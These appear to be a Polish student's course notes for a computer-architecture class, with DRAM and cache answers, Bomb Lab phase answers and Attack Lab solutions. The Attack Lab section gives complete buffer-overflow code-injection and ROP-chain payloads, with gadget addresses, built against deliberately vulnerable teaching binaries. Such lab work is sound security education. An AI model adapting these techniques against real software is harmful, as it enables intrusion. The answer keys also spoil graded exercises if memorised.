|A(DRAM) = 200|H(DRAM) = 1.0|

Jeśli chodzi o średni, to trzeba po prostu obliczyć wartość oczekiwaną czasu dostępu do pamięci. Pesymistyczny to będzie wyszukiwanie po kolei w L1, L2, L3 i na końcu w DRAMie, czyli te czasy wszystkie się do siebie dodadzą.

#### Zadanie 5
Można o tym poczytać tutaj (https://www.akkadia.org/drepper/cpumemory.pdf), to link z tej listy zadań. Tam jest wyjaśnione jak to jest zbudowane i co musi nastąpić przed requestem RAS.

**Sense amplifiers** - Pamięć DRAM musi być odświeżana, bo ładunki z niej uciekają. Ten sense amplifier służy temu, żeby jak odczytamy taką komórkę, która ma już słaby ładunek, to to nam rozróżni czy w środku było 0 czy 1.

Najpierw wczytujemy wiersz pewnie dlatego jak ta pamięć jest zbudowana. Podejrzewam, że te wiersze są obok siebie po prostu i według tej architektury prościej ściągnąć cały wiersz do pamięci cache i potem odczytywać kolumnę, niż odwrotnie.

Tak poza tym, resztę można wyczytać z tego linku powyżej.

#### Zadanie 6

Zreferować na podstawie https://www.akkadia.org/drepper/cpumemory.pdf

#### Zadanie 7

Tutaj też, trzeba przeczytać po prostu https://www.akkadia.org/drepper/cpumemory.pdf, popatrzeć na schematy i przeliczyćto sobie według danych w tym zadaniu

#### Zadanie 8

#### Zadanie 9

Pracownia 6. Rozbrajanie bomby
===

Twoim zadaniem jest rozbrojenie bomby, czyli podanie napisów kończących każdą
z sześciu faz programu. Każdy z poprawnych napisów wart jest jeden punkt.

### Ważne:

1. Bomba wybuchnie, jeśli będziesz używać nie-uniksowych sekwencji znaków
`\r\n` kończących wiersz - łatwo to zwerifykować programem `hexdump`.
2. Plik rozbrajający bombę musi kończyć się znakiem końca wiersza.
3. Można modyfikować wyłącznie pliki: `author.txt` i `solution.txt`.

### Pamiętaj:

1. Podpisz się w pliku `author.txt`.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

#### Odpowiedzi i tipy:

Źródła:
http://zpalexander.com/binary-bomb-lab-phase-1/
https://caminek.rocks/2019/12/20/binary-bomb-secret-phase/

Odpowiedzi:

I am not part of the problem. I am a Republican.
1 2 4 7 11 16
1 j 489
6 6 DrEvil
5 115
6 2 3 1 4 5
50

Pracownia 7. Atak hakerski
===

Umieść w plikach `ctarget.l1`, `ctarget.l2`, `ctarget.l3`, `rtarget.l2`,
`rtarget.l3` ciągi liczb szesnastkowych. Mają one kodować ciągi bajtów wkładane
na stos odpowiednio programu `ctarget` i `rtarget`, aby wykorzystać podatność na
atak określony treścią zadań umieszczonych w systemie SKOS.

### Ważne:

1. Można modyfikować wyłącznie pliki: `*target.l*`.
2. Należy zawrzeć opis zawartości stosu, tj. instrukcje i adresy powrotu.
3. W przypadku `rtarget.l*` należy zawrzeć zdeasemblowane gadżety,
które wykorzystano do przeprowadzenia ataku, oraz ich adresy.

### Pamiętaj:

1. Podpisz się w każdym z plików `*target.l*`.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

### Materiały:

https://github.com/magna25/Attack-Lab
https://github.com/magna25/Attack-Lab/blob/master/Phase%201.md
https://usc-cs356.github.io/assignments/attacklab.html
https://stackoverflow.com/questions/64471363/the-attack-lab-phase-2-buffer-oveflow-attack
https://programmerah.com/tag/attack-lab/
https://programmerah.com/csapp-experiment-3-attack-lab-21351/
https://www.cs.cmu.edu/afs/cs/academic/class/15213-m20/www/recitations/attack-lab-rec.pdf

### Odpowiedzi:

#### Zadanie 1

/* Wypełniamy bufor w celu nadpisania adresu powrotu. */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* Wskazujemy adres procedury touch1. */
e3 1b 40 00 00 00 00 00

#### Zadanie 2

/* Wkładamy odpowiednią wartość val na stos i wypełniamy bufor. */
48 c7 c7 b1 f9 f9 4b 68 
11 1c 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
/* Wskazujemy adres procedury touch2. */
d8 bc 65 55 00 00 00 00

Korekta: Kod w buforze wkłada ciasteczko do rdi, a potem wrzuca adres touch 2 na stos. Za to bajty za buforem odpowiadają za skok do tego kodu. Bo najpierw przepelniamy bufor i nadpisujemy adres powrotu. I ten adres to chcielibyśmy zeby to byl adres naszego kodu zaszytego w buforze, wiec to bedzie adres bufora.
#### Zadanie 3

48 c7 c7 00 bd 65 55 68 
e8 1c 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
d8 bc 65 55 00 00 00 00
00 00 00 00 00 00 00 00
34 62 66 39 66 39 62 31

#### Zadanie 4

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 1d 40 00 00 00 00 00
b1 f9 f9 4b 00 00 00 00
93 1d 40 00 00 00 00 00
11 1c 40 00 00 00 00 00

#### Zadanie 5

/* Buffer overflow */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* %rsp -> %rax */
43 1e 40 00 00 00 00 00
/* %rax -> %rdi */
93 1d 40 00 00 00 00 00
/* popq %rax */
a8 1d 40 00 00 00 00 00
/* tutaj przesuniecie ciasteczka wzgledem poczatku rsp*/
48 00 00 00 00 00 00 00
/* eax -> edx */
8d 1e 40 00 00 00 00 00
/* edx -> ecx */
3b 1e 40 00 00 00 00 00
/* edx -> esi */
e3 1d 40 00 00 00 00 00
/* add x y */
b8 1d 40 00 00 00 00 00
/* rax -> rdi */
93 1d 40 00 00 00 00 00
/* touch3 */
e8 1c 40 00 00 00 00 00
/* cookie */
34 62 66 39 66 39 62 31

Używa dokładnie tylu gadżetów ile wzorcowe rozwiązanie (8).

#### Dodatek:
Tutaj moje rozwiązanie z czasów zdawania ASKa. Mam oczywiście trochę inny plik rtarget i inne cookie, ale zasada działania tego zadania jest niezmieniona:

/* Tu jest padding. Musze wypelnic buffer, zeby nadpisac adres powrotu */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* Adres rsp daje do raxa */
92 1A 40 00 00 00 00 00
/* Teraz raxa do rdi. Nie bylo bezposredniego move rsp -> rdi. */
22 1A 40 00 00 00 00 00
/* Wrzucam do raxa przesuniecie rsp. Stos ma zmienny adres, dlatego adres cookie */
/* musze obliczac dynamicznie. Ale wiem gdzie jest cookie w tym kodzie (+ile bitow od rsp) */
/* Dlatego adres cookie to tak naprawde rsp i przesuniecie */
/* Zdejmuje ze stosu to przesuniecie do raxa */
1C 1A 40 00 00 00 00 00
/* A tutaj juz samo przesuniecie, to plus 72 bajty wzgledem pobranego rsp */
48 00 00 00 00 00 00 00
/* Pozostaje wrzucic to przesuniecie do rsi. Ale nie ma w kodzie adresu, */
/* ktory bedzie mi wrzucal rax do rsi bezposrednio. Wiec musze przesuwac wartosc */
/* przez kilka posrednich rejestrow, co moge juz zrobic uzywajac farmy gadzetow. */
/* No ale nie mam tez ladnych przesuniec typu rax -> rcx. Moge wydlubac tylko */
/* przenoszenie 32bitowe. Ale dla tej wartosci, ktora chce przeniesc to starczy. */
/* Co wiecej, w srodku miedzy tymi mov a ret sa wrzucone kody typu <nop>, */
/* ktore sa opisane w tabelce w pdf do tego zadania */
/* eax -> ecx */
78 1A 40 00 00 00 00 00
/* ecx -> edx */
4E 1A 40 00 00 00 00 00
/* edx -> esi */
6A 1A 40 00 00 00 00 00
/* Mam juz w rdi adres rsp, a w rsi przesuniecie. Teraz musze to do siebie dodac */
/* zeby dostac adres finalny ciasteczka. Uzywam funkcji add x y z farmy. */
/* Adres funkcji add x y */
40 1A 40 00 00 00 00 00
/* Przenosze wynik add z rax do rdi, zeby touch3 moglo tego ciasteczka uzyc */
22 1A 40 00 00 00 00 00
/* Wywolanie funkcji touch3 */
73 19 40 00 00 00 00 00
/* Tutaj juz samo ciasteczko w ascii. Nie w little endianie, bo to nie adres. */
37 30 33 34 39 37 65 66```

Pracownia 8. Mnożenie macierzy
===

Lista 0
===

## Zadanie 4

floor(x/2^y)